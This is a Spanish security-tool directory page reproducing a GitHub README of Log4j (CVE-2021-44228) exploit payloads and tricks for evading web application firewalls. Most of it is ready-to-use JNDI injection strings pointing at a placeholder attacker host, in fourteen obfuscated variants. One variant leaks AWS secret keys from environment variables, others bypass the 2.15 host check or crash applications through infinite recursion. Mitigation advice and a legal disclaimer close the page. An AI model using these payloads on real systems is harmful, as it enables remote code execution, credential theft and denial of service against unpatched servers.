Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-44228-PoC-log4j-bypass-words — 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java exploit - Trucos de evasión de WAF | Kitploit
Herramientas/GitHubGitHub/puliczek/cve-2021-44228-poc-log4j-bypass-words
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónEvasión de IDS/IPSExplotación de Aplicaciones WebEvasión de WAFPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubpuliczek/cve-2021-44228-poc-log4j-bypass-words

CVE-2021-44228-PoC-log4j-bypass-words

🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java exploit - Trucos de evasión de WAF

Ver Repositorio
9501345hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
🤝 Muestra tu apoyo - da una ⭐️ si te gustó el contenido | COMPARTIR en Twitter | Sígueme en

🐱‍💻 ✂️ 🤬 Exploit de Java LOG4J - Trucos para evadir WAF y parches

📝 Descripción

CVE-2021-44228 funciona en:

log4j: 2.0 <= Apache log4j <= 2.14.1

Versión de Java ya parcheada: 6u211+, 7u201+, 8u191+, 11.0.1+.

Windows Defender comenzó a eliminar archivos .java que incluyan jndi:ldap:....

Script de atacante simple (Posible RCE):

${jndi:ldap://somesitehackerofhell.com/z}

WAF o desarrolladores comenzaron a bloquear frases:

  • "ldap:"
  • "jndi:"

para asegurar aplicaciones.

Sin embargo, el atacante puede evadirlo usando una de estas técnicas:

1. Variables de entorno del sistema

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

De la documentación de Apache Log4j 2: ${env:ENV_NAME:-default_value}

Si no existe la variable de entorno del sistema ENV_NAME, usa el texto después de :-

El atacante puede usar cualquier nombre en lugar de ENV_NAME, pero debe no existir.

O el hacker puede leer la variable de entorno, por ejemplo para AWS_SECRET_ACCESS_KEY:

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

Consulta más secretos en 🦄🔒 Lista increíble de secretos en variables de entorno 🖥️

Puedes verificar tus variables de entorno del sistema:

  • En Windows ejecuta en PowerShell: dir env:
  • En Linux/MacOS ejecuta en terminal: printenv o env

2. Búsqueda en minúscula o mayúscula

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

Lower Lookup El LowerLookup convierte el argumento pasado a minúsculas. Presumiblemente el valor será el resultado de una búsqueda anidada.

${lower:<text>}

Upper Lookup El UpperLookup convierte el argumento pasado a mayúsculas. Presumiblemente el valor será el resultado de una búsqueda anidada.

${upper:<text>}


3. Notación "::-"

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}


4. Caracteres Unicode no válidos con mayúscula

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

ı se convierte en i


5. Propiedades del sistema

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

Si no existe la propiedad del sistema SYS_NAME, usa el texto después de :-


6. Notación ":-"

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}


7. Fecha

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

El formateo de fecha de Java convierte YYYY a 2021, pero convierte 'YYYY' a YYYY o 'j' a j.


8. Codificación URL HTML

Reemplaza caracteres con:

  • } con %7D
  • { con %7B
  • $ con %24

Puedes leer más aquí Referencia de codificación URL HTML


9. Búsqueda inexistente

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

No verifica la existencia de la búsqueda y simplemente evalúa al valor por defecto felizmente.


10. Polimórfico (solicitud JSON REST API)


root@kitploit:~
{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

"Por separado estas claves y valores no representan un ataque. Pero todos juntos son un ataque y este ataque es transparente para los sistemas de detección debido al analizador JSON." Leer más...


11. Caracteres Unicode (solicitud JSON REST API)

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

Convierte algunos caracteres a Unicode.

Conversor Unicode en línea


12. Truco con # (funciona en log4j 2.15)

${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

Evita las comprobaciones de allowedLdapHost y allowedClasses en Log4J 2.15.0. El método java.net.URI getHost() devuelve el valor antes del # como el host real. Pero el resolvedor JNDI/LDAP resolverá la cadena completa del hostname intentando conectarse al servidor LDAP malicioso.

Leer más...


13. Ataque DoS (Funciona en log4j 2.8 - 2.16 - CVE-2021-45105 )

${${::-${::-$${::-j}}}}

Si se intenta una sustitución de cadena por cualquier razón en la siguiente cadena, desencadenará una recursión infinita, y la aplicación fallará.

Leer más...


14. PDF como canal de entrega.

Crea un archivo PDF especial para explotar CVE-2021-44228

Ejemplo de PDF

Obtén un archivo PDF y lee más...

Pruebas

Para probar la entrada puedes usar:

  • https://canarytokens.org/generate - Elige el token Log4Shell (la notificación de entrada se enviará por correo electrónico o webhook), genera y reemplaza somesitehackerofhell.com/z
  • https://dnslog.cn/ - Genera un subdominio y reemplaza somesitehackerofhell.com/z

✨ Mejor solución para protegerse de CVE-2021-44228

tl;dr Actualiza a log4j-2.17.1 o posterior.

Mitigación de Log4j 1.x: Log4j 1.x no tiene Lookups, por lo que el riesgo es menor. Las aplicaciones que usan Log4j 1.x solo son vulnerables a este ataque cuando usan JNDI en su configuración. Se ha presentado un CVE separado (CVE-2021-4104) para esta vulnerabilidad. Para mitigar: audita tu configuración de registro para asegurarte de que no tenga JMSAppender configurado. Las configuraciones de Log4j 1.x sin JMSAppender no se ven afectadas por esta vulnerabilidad.

Mitigación de Log4j 2.x: Implementa una de las técnicas de mitigación a continuación.

  • Los usuarios de Java 8 (o posterior) deberían actualizar a la versión 2.17.1.
  • Los usuarios que requieran Java 7 deberían actualizar a la versión 2.12.4 cuando esté disponible (trabajo en progreso, se espera que esté disponible pronto).
  • De lo contrario, elimina la clase JndiLookup del classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class y elimina las referencias a Context Lookups como ${ctx:loginId} o $${ctx:loginId} cuando se originen de fuentes externas a la aplicación como encabezados HTTP o entrada del usuario.

Ten en cuenta que solo el archivo JAR log4j-core se ve afectado por esta vulnerabilidad. Las aplicaciones que usan solo el archivo JAR log4j-api sin el archivo JAR log4j-core no se ven afectadas por esta vulnerabilidad.

Fuente y lee más...

¡Mantente seguro!

🤝 Muestra tu apoyo

🤝 Muestra tu apoyo - da una ⭐️ si te gustó el contenido o el meme | COMPARTIR en Twitter | Sígueme en

log2

📝 Enlaces útiles

  • Guía del usuario de Apache Log4j 2 v. 2.15.0
  • Posible primera publicación de evasión lower/upper
  • CVE-2021-44228 (Apache Log4j Remote Code Execution)
  • Referencia de codificación URL HTML
  • CVE-2021-44228 revisado por GitHub - Inyección remota de código en Log4j
  • Vulnerabilidades de seguridad de Apache Log4j
  • Programa log4j-detector - Detecta versiones de Log4J en tu sistema de archivos dentro de cualquier aplicación que sean vulnerables a CVE-2021-44228 y CVE-2021-45046
  • Exploit polimórfico de Log4J que es una solicitud JSON REST API válida
  • Evadiendo NGFW/WAFs usando ofuscación de formato de datos
  • LOG4J2-3230 Ciertas cadenas pueden causar recursión infinita
  • Aquí hay un PoC de cómo evadir las comprobaciones de allowedLdapHost y allowedClasses en Log4J 2.15.0
  • 🦄🔒 Lista increíble de secretos en variables de entorno 🖥️
  • Explotando CVE-2021-44228 usando PDFs como canal de entrega - PoC

🙌 Agradecimientos a los usuarios por su contribución

  • Todos los colaboradores
  • Whatsec por más ejemplos de evasión
  • manjula-aw por la mejora en la sección de seguridad
  • juliusmusseau por un ejemplo más de evasión

✔️ Aviso legal

Este proyecto solo puede ser utilizado con fines educativos. Usar este software contra sistemas objetivo sin permiso previo es ilegal, y cualquier daño derivado del mal uso de este software no será responsabilidad del autor.

No soy el autor de CVE-2021-44228 y algunos bypasses

Descargar herramienta